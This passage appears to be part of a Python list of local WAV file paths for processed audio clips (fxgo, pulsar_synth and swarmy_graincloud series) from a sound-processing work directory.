'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-071.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-072.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-073.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-074.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-075.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-076.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-077.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-078.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-079.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-080.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-081.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-082.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-083.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-084.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-085.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-086.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-087.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-088.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-089.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-090.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-091.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-092.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-093.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-094.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-095.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-096.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-097.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-098.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-099.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-100.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-101.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-102.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-103.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-104.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-105.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-106.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-107.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-108.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-109.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-110.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-111.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-112.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-113.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-114.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-115.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-116.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-117.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-118.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-119.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-120.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-121.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-122.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-123.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-124.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-125.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-126.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-127.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-128.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-129.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-130.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/fxgo-131.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-000.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-001.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-002.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-003.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-004.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-005.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-006.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-007.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-008.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-009.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-010.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-011.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-012.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-013.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-014.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-015.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-016.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-017.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-018.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-019.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-020.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-021.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-022.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-023.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-024.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-025.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-026.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-027.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-028.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-029.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-030.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-031.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-032.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-033.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-034.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-035.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-036.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-037.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-038.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-039.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-040.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-041.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-042.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-043.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-044.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-045.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-046.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-047.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-048.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-049.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-050.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-051.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-052.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-053.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-054.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-055.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-056.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-057.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-058.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-059.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-060.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-061.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-062.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-063.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-064.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-065.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-066.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-067.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-068.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-069.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-070.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-071.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-072.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-073.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-074.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-075.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-076.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-077.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-078.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-079.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-080.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-081.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-082.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-083.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-084.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-085.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-086.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-087.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-088.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-089.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-090.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-091.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-092.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-093.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-094.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-095.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-096.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-097.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-098.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-099.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-100.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-101.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-102.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-103.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-104.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-105.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-106.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-107.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-108.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-109.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-110.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-111.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-112.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-113.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-114.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-115.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-116.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-117.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-118.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-119.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-120.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-121.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-122.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-123.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-124.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-125.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-126.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-127.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-128.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-129.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-130.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/pulsar_synth-131.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-000.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-001.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-002.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-003.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-004.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-005.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-006.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-007.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-008.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-009.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-010.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-011.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-012.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-013.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-014.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-015.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-016.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-017.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-018.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-019.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-020.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-021.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-022.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-023.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-024.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-025.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-026.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-027.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-028.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-029.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-030.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-031.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-032.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-033.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-034.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-035.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-036.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-037.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-038.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-039.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-040.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-041.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-042.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-043.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-044.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-045.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-046.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-047.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-048.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-049.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-050.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-051.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-052.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-053.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-054.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-055.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-056.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-057.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-058.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-059.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-060.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-061.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-062.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-063.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-064.wav',
'/home/lib/audio/work/tsx_recur_3/data/trk026-1-sco-20200211-WA0003/proc/swarmy_graincloud-065.wav',
